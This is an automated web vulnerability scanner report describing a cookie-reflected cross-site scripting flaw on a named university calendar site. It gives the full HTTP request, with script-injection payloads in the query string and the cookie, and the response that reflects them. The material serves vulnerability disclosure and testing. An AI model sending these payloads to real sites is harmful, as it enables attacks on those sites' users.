Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E HTTP/1.1
Host: calendar.champlain.edu
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycc_ss=2fc340<script>alert(1)</script>7f57111a895
Content-Length: 10


Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 119905
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 26 Dec 2011 02:26:26 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
   S
...[SNIP]...
<td>2fc340<script>alert(1)</script>7f57111a895</td>
...[SNIP]...

Report generated by HTI at Sat Sep 01 09:24:12 EDT 2012.